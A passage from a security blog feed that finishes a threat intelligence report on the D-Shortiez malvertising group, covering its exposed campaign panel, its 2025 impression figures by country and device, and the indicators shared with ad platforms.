2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 13: </strong>D-Shortiez campaign management interface showing active campaigns, tag IDs, and performance metrics</p><p>Operational Intelligence Value</p><p>Before campaigns transitioned from &#8220;approving&#8221; to &#8220;run&#8221; status, we searched our ad scan data for matching tag IDs and Binom domains. This allowed us to identify and block the serving domains before they went live, disrupting campaigns before they impacted our customers.</p><p>We confirmed the admin panel data matched our scan infrastructure by comparing tag IDs and Binom domains. The admin panel showed tag ID &#8220;vi25120203&#8221; using Binom domain &#8220;softluxt.space&#8221;&#8212;both values appeared in our scanned ad creative from the same campaign.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!m0tq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!m0tq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png 424w, https://substackcdn.com/image/fetch/$s_!m0tq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png 848w, https://substackcdn.com/image/fetch/$s_!m0tq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png 1272w, https://substackcdn.com/image/fetch/$s_!m0tq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!m0tq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png" width="913" height="56" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:56,&quot;width&quot;:913,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!m0tq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png 424w, https://substackcdn.com/image/fetch/$s_!m0tq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png 848w, https://substackcdn.com/image/fetch/$s_!m0tq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png 1272w, https://substackcdn.com/image/fetch/$s_!m0tq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7046d359-fde7-4ed9-beac-55f0c2e0b14f_913x56.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>Figure 14: </strong>Admin panel entry showing tag ID vi25120203 and Binom domain   softluxt.space</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VHRS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VHRS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg 424w, https://substackcdn.com/image/fetch/$s_!VHRS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg 848w, https://substackcdn.com/image/fetch/$s_!VHRS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!VHRS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VHRS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg" width="913" height="331" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:331,&quot;width&quot;:913,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VHRS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg 424w, https://substackcdn.com/image/fetch/$s_!VHRS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg 848w, https://substackcdn.com/image/fetch/$s_!VHRS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!VHRS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42bc8326-1c7d-48c2-8357-c23ab861bf45_913x331.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 15: </strong>Scanned ad creative showing matching tag ID and Binom domain from Confiant&#8217;s detection infrastructure</p><h2>2025 Impact</h2><p>We tracked D-Shortiez ad campaigns serving 59 million impressions in 2025.</p><p><strong>Geographic targeting:</strong></p><ul><li><p><strong>United States: 95.4%</strong></p></li><li><p><strong>Canada: 1.4%</strong></p></li><li><p><strong>Japan: 0.6%</strong></p></li><li><p><strong>Other countries: 2.6%</strong></p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!l4kt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!l4kt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg 424w, https://substackcdn.com/image/fetch/$s_!l4kt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg 848w, https://substackcdn.com/image/fetch/$s_!l4kt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!l4kt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!l4kt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg" width="1456" height="849" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:849,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!l4kt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg 424w, https://substackcdn.com/image/fetch/$s_!l4kt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg 848w, https://substackcdn.com/image/fetch/$s_!l4kt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!l4kt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd814fa4e-d513-4822-a2d9-02cb7ef731a2_1456x849.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 16: </strong>Geographic distribution of D-Shortiez impressions (2025)</p><p><strong>Device targeting:</strong></p><ul><li><p>iOS: 26,154,969 impressions</p></li><li><p>Windows: 22,977,804 impressions</p></li><li><p>Android: 7,492,224 impressions</p></li><li><p>Mac OS X: 1,971,674 impressions</p></li><li><p>Chrome OS: 333,925 impressions</p></li><li><p>Linux: 71,031 impressions</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kz9D!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kz9D!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png 424w, https://substackcdn.com/image/fetch/$s_!kz9D!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png 848w, https://substackcdn.com/image/fetch/$s_!kz9D!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png 1272w, https://substackcdn.com/image/fetch/$s_!kz9D!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kz9D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png" width="1456" height="849" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:849,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kz9D!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png 424w, https://substackcdn.com/image/fetch/$s_!kz9D!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png 848w, https://substackcdn.com/image/fetch/$s_!kz9D!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png 1272w, https://substackcdn.com/image/fetch/$s_!kz9D!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4a4b1e5f-3fb4-40c4-aa77-19edd842ebf2_1456x849.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 17: </strong>D-Shortiez impressions by operating system (2025)</p><p>Their use of Binom TDS allowed them to serve device-appropriate scams after redirection: Windows devices received tech support scams, while mobile devices received reward scams.</p><p>Looking Ahead</p><p>We expect D-Shortiez to modify their operations following this publication. Based on typical threat actor behavior, they will likely:</p><ul><li><p>Secure or abandon exposed internal pages</p></li><li><p>Rotate infrastructure more frequently</p></li><li><p>Shift to ad platforms where our visibility is limited</p></li><li><p>Improve credential security</p></li></ul><p>However, their fundamental business model of exploiting ad platform security gaps to deliver scams at scale remains profitable enough to persist despite disruption.</p><p>We&#8217;ve shared D-Shortiez indicators with numerous ad platforms throughout 2025. Some have acted swiftly to remove associated accounts. Others remain vectors for their campaigns. The ad ecosystem&#8217;s fragmented security posture creates persistent vulnerabilities that organized actors will continue to exploit.</p><p>We continue tracking D-Shortiez infrastructure and sharing intelligence with ecosystem partners. The IOCs below represent known infrastructure as of publication. Our threat intelligence feeds provide real-time updates.</p><p>D-Shortiez 2025 Domain IOCs</p><p><strong><a href="https://github.com/msteele-confiant/D-Shortiez_DomainIOCs">https://github.com/msteele-confiant/D-Shortiez_DomainIOCs</a></strong></p><h2><strong>About The Autor</strong></h2><p>This research on D-Shortiez was conducted by Michael Steele, a Threat Intelligence Researcher on Confiant&#8217;s Security team.</p><p>He specializes in deep dives across the adtech threat landscape, mapping Confiant-attributed threat groups, infrastructure, and evolving TTPs. He also applies host analysis to surface durable tracking opportunities, exposing the artifacts and telemetry Confiant uses to identify and follow these threats over time. His work supports faster detection, stronger mitigations, and clearer reporting for researchers and organizations impacted by malvertising.</p><p>When he isn&#8217;t working, he enjoys spending time outdoors with friends. In the spring and summer, you will often find him camping near a dirt bike trail or staying at a cabin with friends. This winter, he has gotten into ice fishing and wanted to share a recent catch.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!g0wD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!g0wD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg 424w, https://substackcdn.com/image/fetch/$s_!g0wD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg 848w, https://substackcdn.com/image/fetch/$s_!g0wD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!g0wD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!g0wD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg" width="1456" height="1092" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1092,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!g0wD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg 424w, https://substackcdn.com/image/fetch/$s_!g0wD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg 848w, https://substackcdn.com/image/fetch/$s_!g0wD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!g0wD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff03941ab-964e-467d-8289-b2ee7fd2fab1_1456x1092.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.confiant.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[The Curious Case Of MutantBedrog's Trusted-Types CSP Bypass]]></title><description><![CDATA[MutantBedrog is a malvertiser that caught our attention early summer &#8217;24 for their highly disruptive forced redirect campaigns and the unique JavaScript payload that they use to fingerprint devices and dispatch invasive redirections.]]></description><link>https://blog.confiant.com/p/the-curious-case-of-mutantbedrogs</link><guid isPermaLink="false">https://blog.confiant.com/p/the-curious-case-of-mutantbedrogs</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Tue, 03 Feb 2026 21:42:43 GMT</pubDate><enclosure 